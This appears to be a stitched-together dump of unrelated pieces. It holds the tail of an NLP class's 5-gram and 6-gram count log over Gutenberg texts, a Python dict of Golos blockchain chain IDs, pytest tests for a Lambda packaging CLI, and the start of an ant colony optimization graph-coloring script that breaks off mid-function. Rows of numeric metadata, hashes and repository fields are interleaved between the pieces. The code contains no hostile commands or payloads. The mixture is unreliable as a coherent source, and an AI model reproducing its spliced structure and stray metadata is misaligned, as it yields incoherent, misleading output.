----+- Files -+----+----+----| 5-Grams |-- New --|
austen-emma.txt 187241 187241
austen-persuasion.txt 96842 95392
austen-sense.txt 138912 136367
bible-kjv.txt 813661 812677
blake-poems.txt 8112 8070
bryant-stories.txt 53078 51518
burgess-busterbrown.txt 17757 17406
carroll-alice.txt 31863 31400
chesterton-ball.txt 94417 92729
chesterton-brown.txt 83733 81592
chesterton-thursday.txt 67691 65374
edgeworth-parents.txt 201493 195563
melville-moby_dick.txt 250709 246584
milton-paradise.txt 95143 94552
shakespeare-caesar.txt 24946 24668
shakespeare-hamlet.txt 35922 35422
shakespeare-macbeth.txt 21947 21550
whitman-leaves.txt 145783 144302
--------------------------------------------------
Total 5-grams found: 2342407
--------------------------------------------------
Sample first 30 5-grams found --
[(('[', 'Emma', 'by', 'Jane', 'UNK'), 1), (('Emma', 'by', 'Jane', 'UNK', 'UNK'), 1), (('by', 'Jane', 'UNK', 'UNK', ']'), 3), (('Jane', 'UNK', 'UNK', ']', 'UNK'), 1), (('UNK', 'UNK', ']', 'UNK', 'I'), 1), (('UNK', ']', 'UNK', 'I', 'CHAPTER'), 1), ((']', 'UNK', 'I', 'CHAPTER', 'I'), 1), (('UNK', 'I', 'CHAPTER', 'I', 'Emma'), 1), (('I', 'CHAPTER', 'I', 'Emma', 'Woodhouse'), 1), (('CHAPTER', 'I', 'Emma', 'Woodhouse', ','), 1), (('I', 'Emma', 'Woodhouse', ',', 'handsome'), 1), (('Emma', 'Woodhouse', ',', 'handsome', ','), 1), (('Woodhouse', ',', 'handsome', ',', 'clever'), 1), ((',', 'handsome', ',', 'clever', ','), 1), (('handsome', ',', 'clever', ',', 'and'), 1), ((',', 'clever', ',', 'and', 'rich'), 1), (('clever', ',', 'and', 'rich', ','), 1), ((',', 'and', 'rich', ',', 'with'), 1), (('and', 'rich', ',', 'with', 'a'), 1), (('rich', ',', 'with', 'a', 'comfortable'), 1), ((',', 'with', 'a', 'comfortable', 'home'), 1), (('with', 'a', 'comfortable', 'home', 'and'), 1), (('a', 'comfortable', 'home', 'and', 'happy'), 1), (('comfortable', 'home', 'and', 'happy', 'disposition'), 1), (('home', 'and', 'happy', 'disposition', ','), 1), (('and', 'happy', 'disposition', ',', 'seemed'), 1), (('happy', 'disposition', ',', 'seemed', 'to'), 1), (('disposition', ',', 'seemed', 'to', 'unite'), 1), ((',', 'seemed', 'to', 'unite', 'some'), 1), (('seemed', 'to', 'unite', 'some', 'of'), 1)]
Sample last 30 5-grams found --
[(('UNK', 'me', 'to', 'the', 'true'), 1), (('me', 'to', 'the', 'true', 'songs'), 1), (('to', 'the', 'true', 'songs', ','), 1), (('the', 'true', 'songs', ',', '('), 1), (('true', 'songs', ',', '(', 'who'), 1), (('songs', ',', '(', 'who', 'knows'), 1), (('who', 'knows', '?', ')', 'May-be'), 1), (('knows', '?', ')', 'May-be', 'it'), 1), (('?', ')', 'May-be', 'it', 'is'), 1), ((')', 'May-be', 'it', 'is', 'you'), 1), (('May-be', 'it', 'is', 'you', 'the'), 1), (('it', 'is', 'you', 'the', 'mortal'), 1), (('is', 'you', 'the', 'mortal', 'UNK'), 1), (('you', 'the', 'mortal', 'UNK', 'really'), 1), (('the', 'mortal', 'UNK', 'really', 'UNK'), 1), (('mortal', 'UNK', 'really', 'UNK', ','), 1), (('UNK', 'really', 'UNK', ',', 'turning'), 1), (('really', 'UNK', ',', 'turning', '--'), 1), (('UNK', ',', 'turning', '--', 'so'), 1), ((',', 'turning', '--', 'so', 'now'), 1), (('turning', '--', 'so', 'now', 'finally'), 1), (('--', 'so', 'now', 'finally', ','), 1), (('so', 'now', 'finally', ',', 'Good-bye'), 1), (('now', 'finally', ',', 'Good-bye', '--'), 1), (('finally', ',', 'Good-bye', '--', 'and'), 1), ((',', 'Good-bye', '--', 'and', 'hail'), 1), (('Good-bye', '--', 'and', 'hail', '!'), 1), (('--', 'and', 'hail', '!', 'my'), 1), (('and', 'hail', '!', 'my', 'Fancy'), 1), (('hail', '!', 'my', 'Fancy', '.'), 1)]
====October 09, 2018 08:57:55 AM====
-- test set_n_grams_from_files()- 6-grams --
--------------------------------------------------
-- Initialize 6-gram model for the files in directory
-- D:/Documents/NLP/NEU_CS6120/assignment_1/gutenberg
-- with tokens that occur 5 or fewer times
-- replaced by 'UNK'
--------------------------------------------------
----+- Files -+----+----+----| 6-Grams |-- New --|
austen-emma.txt 190364 190364
austen-persuasion.txt 97639 97255
austen-sense.txt 140667 139964
bible-kjv.txt 869690 869580
blake-poems.txt 8156 8147
bryant-stories.txt 54041 53329
burgess-busterbrown.txt 18203 18137
carroll-alice.txt 32650 32585
chesterton-ball.txt 96056 95666
chesterton-brown.txt 84780 84217
chesterton-thursday.txt 68703 67992
edgeworth-parents.txt 206437 204822
melville-moby_dick.txt 253681 252734
milton-paradise.txt 95472 95297
shakespeare-caesar.txt 25120 25073
shakespeare-hamlet.txt 36214 36124
shakespeare-macbeth.txt 22097 22004
whitman-leaves.txt 147787 147487
--------------------------------------------------
Total 6-grams found: 2440777
--------------------------------------------------
Sample first 30 6-grams found --
[(('[', 'Emma', 'by', 'Jane', 'UNK', 'UNK'), 1), (('Emma', 'by', 'Jane', 'UNK', 'UNK', ']'), 1), (('by', 'Jane', 'UNK', 'UNK', ']', 'UNK'), 1), (('Jane', 'UNK', 'UNK', ']', 'UNK', 'I'), 1), (('UNK', 'UNK', ']', 'UNK', 'I', 'CHAPTER'), 1), (('UNK', ']', 'UNK', 'I', 'CHAPTER', 'I'), 1), ((']', 'UNK', 'I', 'CHAPTER', 'I', 'Emma'), 1), (('UNK', 'I', 'CHAPTER', 'I', 'Emma', 'Woodhouse'), 1), (('I', 'CHAPTER', 'I', 'Emma', 'Woodhouse', ','), 1), (('CHAPTER', 'I', 'Emma', 'Woodhouse', ',', 'handsome'), 1), (('I', 'Emma', 'Woodhouse', ',', 'handsome', ','), 1), (('Emma', 'Woodhouse', ',', 'handsome', ',', 'clever'), 1), (('Woodhouse', ',', 'handsome', ',', 'clever', ','), 1), ((',', 'handsome', ',', 'clever', ',', 'and'), 1), (('handsome', ',', 'clever', ',', 'and', 'rich'), 1), ((',', 'clever', ',', 'and', 'rich', ','), 1), (('clever', ',', 'and', 'rich', ',', 'with'), 1), ((',', 'and', 'rich', ',', 'with', 'a'), 1), (('and', 'rich', ',', 'with', 'a', 'comfortable'), 1), (('rich', ',', 'with', 'a', 'comfortable', 'home'), 1), ((',', 'with', 'a', 'comfortable', 'home', 'and'), 1), (('with', 'a', 'comfortable', 'home', 'and', 'happy'), 1), (('a', 'comfortable', 'home', 'and', 'happy', 'disposition'), 1), (('comfortable', 'home', 'and', 'happy', 'disposition', ','), 1), (('home', 'and', 'happy', 'disposition', ',', 'seemed'), 1), (('and', 'happy', 'disposition', ',', 'seemed', 'to'), 1), (('happy', 'disposition', ',', 'seemed', 'to', 'unite'), 1), (('disposition', ',', 'seemed', 'to', 'unite', 'some'), 1), ((',', 'seemed', 'to', 'unite', 'some', 'of'), 1), (('seemed', 'to', 'unite', 'some', 'of', 'the'), 1)]
Sample last 30 6-grams found --
[(('UNK', 'me', 'to', 'the', 'true', 'songs'), 1), (('me', 'to', 'the', 'true', 'songs', ','), 1), (('to', 'the', 'true', 'songs', ',', '('), 1), (('the', 'true', 'songs', ',', '(', 'who'), 1), (('true', 'songs', ',', '(', 'who', 'knows'), 1), (('songs', ',', '(', 'who', 'knows', '?'), 1), (('(', 'who', 'knows', '?', ')', 'May-be'), 1), (('who', 'knows', '?', ')', 'May-be', 'it'), 1), (('knows', '?', ')', 'May-be', 'it', 'is'), 1), (('?', ')', 'May-be', 'it', 'is', 'you'), 1), ((')', 'May-be', 'it', 'is', 'you', 'the'), 1), (('May-be', 'it', 'is', 'you', 'the', 'mortal'), 1), (('it', 'is', 'you', 'the', 'mortal', 'UNK'), 1), (('is', 'you', 'the', 'mortal', 'UNK', 'really'), 1), (('you', 'the', 'mortal', 'UNK', 'really', 'UNK'), 1), (('the', 'mortal', 'UNK', 'really', 'UNK', ','), 1), (('mortal', 'UNK', 'really', 'UNK', ',', 'turning'), 1), (('UNK', 'really', 'UNK', ',', 'turning', '--'), 1), (('really', 'UNK', ',', 'turning', '--', 'so'), 1), (('UNK', ',', 'turning', '--', 'so', 'now'), 1), ((',', 'turning', '--', 'so', 'now', 'finally'), 1), (('turning', '--', 'so', 'now', 'finally', ','), 1), (('--', 'so', 'now', 'finally', ',', 'Good-bye'), 1), (('so', 'now', 'finally', ',', 'Good-bye', '--'), 1), (('now', 'finally', ',', 'Good-bye', '--', 'and'), 1), (('finally', ',', 'Good-bye', '--', 'and', 'hail'), 1), ((',', 'Good-bye', '--', 'and', 'hail', '!'), 1), (('Good-bye', '--', 'and', 'hail', '!', 'my'), 1), (('--', 'and', 'hail', '!', 'my', 'Fancy'), 1), (('and', 'hail', '!', 'my', 'Fancy', '.'), 1)]
====October 09, 2018 09:01:15 AM====
>>> | 101.845794 | 1,625 | 0.436063 | 2,336 | 21,795 | 4.048373 | 0.196062 | 0.015861 | 0.011843 | 0.010997 | 0.472771 | 0.41271 | 0.367664 | 0.298298 | 0.271968 | 0.200275 | 0 | 0.101212 | 0.201239 | 21,795 | 214 | 1,626 | 101.845794 | 0.442013 | 0 | 0 | 0.211538 | 0 | 0 | 0.219903 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0 | null | null | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
4b2d9457946f4972d83763709f243c897264d82e | 427 | py | Python | steembase/chains.py | cryptomental/python-goloslib | 0766f9b48e478bc3cdd18b22a6b5867b82a9f81e | [
"MIT"
] | 1 | 2017-04-08T05:08:35.000Z | 2017-04-08T05:08:35.000Z | steembase/chains.py | cryptomental/python-goloslib | 0766f9b48e478bc3cdd18b22a6b5867b82a9f81e | [
"MIT"
] | null | null | null | steembase/chains.py | cryptomental/python-goloslib | 0766f9b48e478bc3cdd18b22a6b5867b82a9f81e | [
"MIT"
] | null | null | null | known_chains = {"GOLOS" : {"chain_id" : "782a3039b478c839e4cb0c941ff4eaeb7df40bdd68bd441afd444b9da763de12",
"core_symbol" : "GOLOS",
"prefix" : "GLS"},
"TEST" : {"chain_id" : "18dcf0a285365fc58b71f18b3d3fec954aa0c141c44e4e5cb4cf777b9eab274e",
"core_symbol" : "TESTS",
"prefix" : "TST"},
}
| 53.375 | 107 | 0.503513 | 20 | 427 | 10.5 | 0.7 | 0.066667 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.272727 | 0.381733 | 427 | 7 | 108 | 61 | 0.522727 | 0 | 0 | 0 | 0 | 0 | 0.47541 | 0.299766 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
4b33fb4a57a15829cf84118de39e433c7e96e4be | 3,170 | py | Python | tests/test_cli.py | NoRedInk/make-lambda-package | 98c4d0d7f61846def734935b080e2ad2e3ebbba0 | [
"BSD-3-Clause"
] | 15 | 2017-02-22T23:59:04.000Z | 2020-02-10T20:02:23.000Z | tests/test_cli.py | NoRedInk/make-lambda-package | 98c4d0d7f61846def734935b080e2ad2e3ebbba0 | [
"BSD-3-Clause"
] | 5 | 2016-11-14T21:16:36.000Z | 2019-11-04T23:51:21.000Z | tests/test_cli.py | NoRedInk/make-lambda-package | 98c4d0d7f61846def734935b080e2ad2e3ebbba0 | [
"BSD-3-Clause"
] | 9 | 2017-02-22T22:54:55.000Z | 2020-04-20T20:08:55.000Z | import pytest
import os
import subprocess
from zipfile import ZipFile
from click.testing import CliRunner
from make_lambda_package import cli
@pytest.fixture
def runner():
return CliRunner()
def test_with_no_source_options(tmpdir, runner):
cwd = os.getcwd()
work_dir = tmpdir.join('deploy_package')
args = [
cwd,
'--work-dir', str(work_dir),
]
with tmpdir.as_cwd():
result = runner.invoke(cli.main, args)
assert not result.exception, result.output
assert result.exit_code == 0, result.output
zip_path = work_dir.join('dist', 'lambda-package.zip')
assert zip_path.isfile(), result.output
with ZipFile(str(zip_path)) as zipfile:
namelist = zipfile.namelist()
assert len(list(namelist)) == 0
assert 'Warning' in result.output
def test_with_all_source_options(tmpdir, runner):
cwd = os.getcwd()
work_dir = tmpdir.join('deploy_package')
args = [
cwd,
'--repo-source-files', 'make_lambda_package/*.py',
'--requirements-file', 'tests/test-requirements.txt',
'--local-source-file', 'hello.txt', 'world.txt',
'--work-dir', str(work_dir),
]
with tmpdir.as_cwd():
tmpdir.join('hello.txt').write('secret')
result = runner.invoke(cli.main, args)
assert not result.exception, result.output
assert result.exit_code == 0, result.output
zip_path = work_dir.join('dist', 'lambda-package.zip')
assert zip_path.isfile(), result.output
with ZipFile(str(zip_path)) as zipfile:
namelist = zipfile.namelist()
assert len(list(filter(lambda name: 'click' in name, namelist))) > 0
assert 'world.txt' in namelist
assert 'make_lambda_package/cli.py' in namelist
def test_with_explicit_runtime(tmpdir, runner):
cwd = os.getcwd()
work_dir = tmpdir.join('deploy_package')
args = [
cwd,
'--repo-source-files', 'make_lambda_package/*.py',
'--requirements-file', 'tests/test-requirements.txt',
'--runtime', 'python3.6',
'--work-dir', str(work_dir),
]
with tmpdir.as_cwd():
result = runner.invoke(cli.main, args)
assert not result.exception, result.output
assert result.exit_code == 0, result.output
zip_path = work_dir.join('dist', 'lambda-package.zip')
assert zip_path.isfile(), result.output
with ZipFile(str(zip_path)) as zipfile:
namelist = zipfile.namelist()
assert len(list(filter(lambda name: 'click' in name, namelist))) > 0
assert 'make_lambda_package/cli.py' in namelist
def test_fail_if_no_docker_command(tmpdir, mocker, runner):
with tmpdir.as_cwd():
mocked_call = mocker.patch.object(subprocess, 'call', return_value=1)
args = ['.', '--requirements-file', 'requirements.txt']
result = runner.invoke(cli.main, args)
assert result.exception, result.output
assert result.exit_code == 2, result.output
assert mocked_call.call_count == 1
assert mocked_call.call_args[0][0][0] == 'docker'
| 32.020202 | 80 | 0.633123 | 399 | 3,170 | 4.877193 | 0.20802 | 0.043165 | 0.043679 | 0.030832 | 0.718911 | 0.718911 | 0.718911 | 0.700925 | 0.676773 | 0.660329 | 0 | 0.005797 | 0.23817 | 3,170 | 98 | 81 | 32.346939 | 0.8 | 0 | 0 | 0.636364 | 0 | 0 | 0.160883 | 0.04858 | 0 | 0 | 0 | 0 | 0.25974 | 1 | 0.064935 | false | 0 | 0.077922 | 0.012987 | 0.155844 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 4 |
4b374e61d3bd7da42bb6b507b5321a430e2998d4 | 69,133 | py | Python | AIProject.py | ClishamJ/antcolonyoptimization | 4db6869c48e5462950150da203e29f6fe01a10ce | [
"MIT"
] | 1 | 2018-06-08T06:44:55.000Z | 2018-06-08T06:44:55.000Z | AIProject.py | ClishamJ/antcolonyoptimization | 4db6869c48e5462950150da203e29f6fe01a10ce | [
"MIT"
] | null | null | null | AIProject.py | ClishamJ/antcolonyoptimization | 4db6869c48e5462950150da203e29f6fe01a10ce | [
"MIT"
] | null | null | null |
##
## Artificial Intelligence Final Project
##
## ####
##
## James Clisham
##
##
## Ant Colony Optimization implemented in a variety of ways to solve the graph coloring problem.
## Primary focus on manipulating the various different components of ACO and pitting them against
## each other in trials.
##
import os, sys, time, random, curses
#
# DEBUG ISSUES
#
# If the program is crashing randomly on startup with an error saying something about addch error, or any kind of
# window initialization error, then the window is probably not large enough for the curses output. I'm developing
# and testing on a size of 1024x768, so running the program in a terminal at least as large as that shouldn't have
# this issue.
#
# ** Further Note **
# If experimenting with the number of nodes, the program will crash if the nodes go offscreen due to curses'
# handling of drawing. This could be fixed by having everything print out to a 'pad' instead of a 'window', if
# anyone so desires to go through the arduous process of doing so. I hate to phrase it like that, but hey, time
# limits.
#
# GLOBAL VALUES
#
NUM_OF_NODES_IN_GRAPH = 20
MAX_Y_VALUE_OF_GRAPH_NODE = 5
NUM_OF_CYCLES = 1000
NUM_OF_ANTS = 5
PHEROMONE_STRENGTH = .05
INITIAL_PHEROMONE_QUANTITY = .5
PHEROMONE_DECAY_RATE = .02
MOVEMENT_PHEROMONE_DECAY = .1
RANDOM_MOVE_CHANCE = 30
PHEROMONE_MOVE_CHANCE = 70
# Delay Value
#
# For delaying output for long enough between cycles to be visible to the human eye
#
# NOTICE: I am writing and testing this code on a laptop from 1999, and have less than 256mb of RAM.
# The delay will likely need to be adjusted for any other computer running this code.
#
# It is implemented as an iterator and has to reach the specified value each frame before the frame is
# actually processed. 100 works for me, but I'm willing to bet any modern computer will need a significantly
# larger number for testing.
#
# With a value of 0, there is no delay and will skip straight to the end of the calculation.
#
DISPLAY_DELAY = 0
#
# CLASS DEFINITIONS
#
class Ant:
def __init__(self):
self.xCoord = 0
self.yCoord = 0
#
# AntColony Algorithm 1
#
# -Random movement
# -Random color selection based on local conflicts
#
#
#
class AntColonyAlg1:
def __init__(self,solution,numberOfAnts,numberOfCycles,displayDelay): #Initialization of class variables
# if there are more ants than nodes, set number of ants to number of nodes
if(numberOfAnts>solution.numOfNodes):
numberOfAnts = solution.numOfNodes
self.numberOfAnts = numberOfAnts
self.numberOfCycles = numberOfCycles
self.randomMoveChance = 200 # Always chooses random movement over pheromone movement
self.displayDelay = displayDelay
self.antList = []
for i in range(0,numberOfAnts): # Sets up initial ant list
newAnt = Ant()
self.antList.append(newAnt)
def solve(self,solution,outputWindow): # Main Solving Loop
# ##
# determineNumOfConflictingNodes
# ##
#
# Returns the number of overall conflicting nodes in the entire problem (not used in this algorithm)
#
def determineNumOfConflictingNodes(solution):
conflictingNum = 0
for yList in solution.nodeList:
for eachNode in yList:
for i in eachNode.connectedNodeList:
if(i.color==eachNode.color):
conflictingNum += 1
return conflictingNum
# ##
# determineNumOfLocalConflicts
# ##
#
# Returns the number of local color conflicts around the specificed node
#
def determineNumOfLocalConflicts(node):
localConflicts = 0
for i in node.connectedNodeList:
if(i.color==node.color or node.color==0 or i.color==0):
localConflicts += 1
return localConflicts
# ##
# changeColorOfNode
# ##
#
# Randomly picks a new color for the specified node
#
def changeColorOfNode(node):
colorDifferent = False
while(colorDifferent==False):
newColor = random.randrange(1,4)
if(node.color==newColor):
pass
else:
node.color = newColor
colorDifferent = True
# ##
# moveAnt
# ##
#
# Randomly chooses a new location based on the neighboring nodes of the ant.
# Will not move into a node currently occupied by another ant.
#
def moveAnt(solution,ant):
neighboringNodes = []
neighboringNodes.extend(solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)].connectedNodeList)
nodesToRemove = []
for i in neighboringNodes: # builds a list of neighboring unoccupied nodes
for g in self.antList:
if(g.xCoord==i.xCoord and g.yCoord==i.yCoord):
nodesToRemove.append(i)
for eachNode in nodesToRemove:
try:
neighboringNodes.remove(eachNode)
except:
pass
if(neighboringNodes==[]): # surrounded by other ants, so stays in current place
pass
else: # goes to random node
nodeChoice = random.randrange(0,len(neighboringNodes))
ant.xCoord = neighboringNodes[nodeChoice].xCoord
ant.yCoord = neighboringNodes[nodeChoice].yCoord
# Initial ant setup
for ant in self.antList: # places each ant in a random and unique location in the graph
antLocationUnique = False
while(antLocationUnique==False):
randX = random.randrange(0,len(solution.nodeList))
randY = random.randrange(0,len(solution.nodeList[randX]))
testXCoord = solution.nodeList[randX][randY].xCoord
testYCoord = solution.nodeList[randX][randY].yCoord
antConflict = 0
for eachAnt in self.antList: # makes sure no other ant is currently occupied the chosen space
# otherwise, flags to not end the loop
if(eachAnt.xCoord==testXCoord and eachAnt.yCoord == testYCoord):
antConflict = 1
if(antConflict==0):
antLocationUnique = True
ant.xCoord = testXCoord
ant.yCoord = testYCoord
#
# SOLUTION MAIN LOOP
#
# Delay Values
#
# For delaying output for long enough between cycles to be visible to the human eye
#
# NOTICE: I am writing and testing this code on a laptop from 1999, and have less than 256mb of RAM.
# The delay will likely need to be adjusted for any other computer running this code.
#
# SEE GLOBAL VALUES AT TOP FOR FURTHER EXPLANATION (don't change these values, change the one at the top)
displayDelay = self.displayDelay
displayCounter = displayDelay
currentCycle = 1
cyclesToRun = self.numberOfCycles
solutionSolved = False
while(solutionSolved==False and cyclesToRun>0):
if(displayCounter>=displayDelay):
displayCounter = 0
# Display cycle number
cycleString = "Cycle Number: "+str(currentCycle)
outputWindow.addstr(0,0,cycleString)
stringLength = len(str(currentCycle))
outputWindow.addstr(0,14+stringLength,' ')
# Determines whether current solution is a solved state
if(solution.isSolutionState()==True):
solutionSolved = True
numOfConflictingNodes = determineNumOfConflictingNodes(solution)
for ant in self.antList:
# Determines whether current solution is a solved state
if(solution.isSolutionState()==True):
solutionSolved = True
# Finds the working node
currentNode = solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)]
# Determines the number of local conflicts (including whether nearby nodes are uncolored or not)
numOfLocalConflicts = determineNumOfLocalConflicts(currentNode)
# If there are conflicts, swap the color and add pheromones
if(numOfLocalConflicts==0):
pass
else:
changeColorOfNode(currentNode)
# Process ant movement
moveAnt(solution,ant)
# Display output
solution.display(outputWindow)
solution.drawAnts(outputWindow,self.antList)
outputWindow.refresh()
# Iterate cycle counters
currentCycle += 1
cyclesToRun -= 1
else:
# Iterate display counter
displayCounter += 1
# Display output
solution.display(outputWindow)
solution.drawAnts(outputWindow,self.antList)
outputWindow.refresh()
return currentCycle
#
# AntColony Algorithm 2
#
# -Random and pheromone-based movement
# -Random color selection based on local conflicts
#
# -Each node is filled with a given initial amount of pheromones, and pheromone level decays over time.
#
class AntColonyAlg2:
def __init__(self,solution,numberOfAnts,numberOfCycles,pheromoneStrength,initialPheromoneQuantity,pheromoneDecayRate,displayDelay,randomMoveChance,pheromoneMoveChance): #Initialization of class variables
# if there are more ants than nodes, set number of ants to number of nodes
if(numberOfAnts>solution.numOfNodes):
numberOfAnts = solution.numOfNodes
self.numberOfAnts = numberOfAnts
self.numberOfCycles = numberOfCycles
self.initialPheromoneQuantity = initialPheromoneQuantity
self.pheromoneStrength = pheromoneStrength
self.pheromoneDecayRate = pheromoneDecayRate
self.randomMoveChance = 30
self.pheromoneMoveChance = 70
self.displayDelay = displayDelay
self.antList = []
for i in range(0,numberOfAnts): # Sets up initial ant list
newAnt = Ant()
self.antList.append(newAnt)
def solve(self,solution,outputWindow): # Main Solving Loop
# ##
# determineNumOfConflictingNodes
# ##
#
# Returns the number of overall conflicting nodes in the entire problem (not used in this algorithm)
#
def determineNumOfConflictingNodes(solution):
conflictingNum = 0
for yList in solution.nodeList:
for eachNode in yList:
for i in eachNode.connectedNodeList:
if(i.color==eachNode.color):
conflictingNum += 1
return conflictingNum
# ##
# determineNumOfLocalConflicts
# ##
#
# Returns the number of local color conflicts around the specificed node
#
def determineNumOfLocalConflicts(node):
localConflicts = 0
for i in node.connectedNodeList:
if(i.color==node.color or node.color==0 or i.color==0):
localConflicts += 1
return localConflicts
# ##
# changeColorOfNode
# ##
#
# Randomly picks a new color for the specified node
#
def changeColorOfNode(node):
colorDifferent = False
while(colorDifferent==False):
newColor = random.randrange(1,4)
if(node.color==newColor):
pass
else:
node.color = newColor
colorDifferent = True
# ##
# moveAnt
# ##
#
# Randomly chooses a new location based on the neighboring nodes of the ant.
# Will not move into a node currently occupied by another ant.
#
def moveAnt(solution,ant):
moveDecision = random.randrange(0,self.randomMoveChance+self.pheromoneMoveChance)
if(moveDecision<=self.randomMoveChance):
neighboringNodes = []
neighboringNodes.extend(solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)].connectedNodeList)
nodesToRemove = []
for i in neighboringNodes: # builds a list of neighboring unoccupied nodes
for g in self.antList:
if(g.xCoord==i.xCoord and g.yCoord==i.yCoord):
nodesToRemove.append(i)
for eachNode in nodesToRemove:
try:
neighboringNodes.remove(eachNode)
except:
pass
if(neighboringNodes==[]): # surrounded by other ants, so stays in current place
pass
else: # goes to random node
nodeChoice = random.randrange(0,len(neighboringNodes))
ant.xCoord = neighboringNodes[nodeChoice].xCoord
ant.yCoord = neighboringNodes[nodeChoice].yCoord
else: # move to neighbor with highest amount of pheromones
neighboringNodes = []
neighboringNodes.extend(solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)].connectedNodeList)
removalList = []
for i in neighboringNodes: # builds a list of neighboring unoccupied nodes
for g in self.antList:
if(g.xCoord==i.xCoord and g.yCoord==i.yCoord):
removalList.append(i)
for i in removalList:
neighboringNodes.remove(i)
if(neighboringNodes==[]): # surrounded by other ants
pass
else: # goes to node with most pheromones, otherwise picks a random one
currentHighestNode = neighboringNodes[random.randrange(0,len(neighboringNodes))]
for i in neighboringNodes:
if(i.pheromoneConcentration>currentHighestNode.pheromoneConcentration):
currentHighestNode = i
ant.xCoord = currentHighestNode.xCoord
ant.yCoord = currentHighestNode.yCoord
# Initial ant setup
for ant in self.antList: # places each ant in a random and unique location in the graph
antLocationUnique = False
while(antLocationUnique==False):
randX = random.randrange(0,len(solution.nodeList))
randY = random.randrange(0,len(solution.nodeList[randX]))
testXCoord = solution.nodeList[randX][randY].xCoord
testYCoord = solution.nodeList[randX][randY].yCoord
antConflict = 0
for eachAnt in self.antList: # makes sure no other ant is currently occupied the chosen space
# otherwise, flags to not end the loop
if(eachAnt.xCoord==testXCoord and eachAnt.yCoord == testYCoord):
antConflict = 1
if(antConflict==0):
antLocationUnique = True
ant.xCoord = testXCoord
ant.yCoord = testYCoord
for yList in solution.nodeList:
for eachNode in yList:
eachNode.pheromoneConcentration = self.initialPheromoneQuantity
#
# SOLUTION MAIN LOOP
#
# Delay Values
#
# For delaying output for long enough between cycles to be visible to the human eye
#
# NOTICE: I am writing and testing this code on a laptop from 1999, and have less than 256mb of RAM.
# The delay will likely need to be adjusted for any other computer running this code.
#
# SEE GLOBAL VALUES AT TOP FOR FURTHER EXPLANATION (don't change these values, change the one at the top)
displayDelay = self.displayDelay
displayCounter = displayDelay
currentCycle = 1
cyclesToRun = self.numberOfCycles
solutionSolved = False
while(solutionSolved==False and cyclesToRun>0):
if(displayCounter>=displayDelay):
displayCounter = 0
# Decay all pheromones by some amount
for yList in solution.nodeList:
for eachNode in yList:
eachNode.pheromoneConcentration -= self.pheromoneDecayRate
# Display cycle number
cycleString = "Cycle Number: "+str(currentCycle)
outputWindow.addstr(0,0,cycleString)
stringLength = len(str(currentCycle))
outputWindow.addstr(0,14+stringLength,' ')
# Determines whether current solution is a solved state
if(solution.isSolutionState()==True):
solutionSolved = True
numOfConflictingNodes = determineNumOfConflictingNodes(solution)
for ant in self.antList:
# Determines whether current solution is a solved state
if(solution.isSolutionState()==True):
solutionSolved = True
# Finds the working node
currentNode = solution.nodeList[int(ant.xCoord/6)][int(ant.yCoord/6)]
# Determines the number of local conflicts (including whether nearby nodes are uncolored or not)
numOfLocalConflicts = determineNumOfLocalConflicts(currentNode)
# If there are conflicts, swap the color and add pheromones
if(numOfLocalConflicts==0):
pass
else:
changeColorOfNode(currentNode)
# Adds pheromones proportional to the amount of conflicts around the current node
currentNode.pheromoneConcentration = numOfLocalConflicts * self.pheromoneStrength
# Process ant movement
moveAnt(solution,ant)
# Display output
solution.display(outputWindow)
solution.drawAnts(outputWindow,self.antList)
outputWindow.refresh()
# Iterate cycle counters
currentCycle += 1
cyclesToRun -= 1
else:
# Iterate display counter
displayCounter += 1
# Display output
solution.display(outputWindow)
solution.drawAnts(outputWindow,self.antList)
outputWindow.refresh()
return currentCycle
#
# AntColony Algorithm 3
#
# -Random and pheromone-based movement
# -Random color selection based on local conflicts
#
# -Each node is filled with a given initial amount of pheromones, and pheromone level decays over time.
# -In addition, ant movement speeds up decay of pheromone levels in areas with no conflict
#
class AntColonyAlg3:
def __init__(self,solution,numberOfAnts,numberOfCycles,pheromoneStrength,initialPheromoneQuantity,pheromoneDecayRate,displayDelay,randomMoveChance,pheromoneMoveChance,movementPheromoneDecay): #Initialization of class variables
# if there are more ants than nodes, set number of ants to number of nodes
if(numberOfAnts>solution.numOfNodes):
numberOfAnts = solution.numOfNodes
self.numberOfAnts = numberOfAnts
self.numberOfCycles = numberOfCycles
self.initialPheromoneQuantity = initialPheromoneQuantity
self.pheromoneStrength = pheromoneStrength
self.pheromoneDecayRate = pheromoneDecayRate
self.movementPheromoneDecay = movementPheromoneDecay
self.randomMoveChance = 30
self.pheromoneMoveChance = 70
self.displayDelay = displayDelay
self.antList = []
for i in range(0,numberOfAnts): # Sets up initial ant list
newAnt = Ant()
self.antList.append(newAnt)
def solve(self,solution,outputWindow): # Main Solving Loop
# ##
# determineNumOfConflictingNodes
# ##
#
# Returns the number of overall conflicting nodes in the entire problem (not used in this algorithm)
#
def determineNumOfConflictingNodes(solution):
conflictingNum = 0
for yList in solution.nodeList:
for eachNode in yList:
for i in eachNode.connectedNodeList:
if(i.color==eachNode.color):
conflictingNum += 1
return conflictingNum
# ##
# determineNumOfLocalConflicts
# ##
#
# Returns the number of local color conflicts around the specificed node
#
def determineNumOfLocalConflicts(node):
localConflicts = 0
for i in node.connectedNodeList:
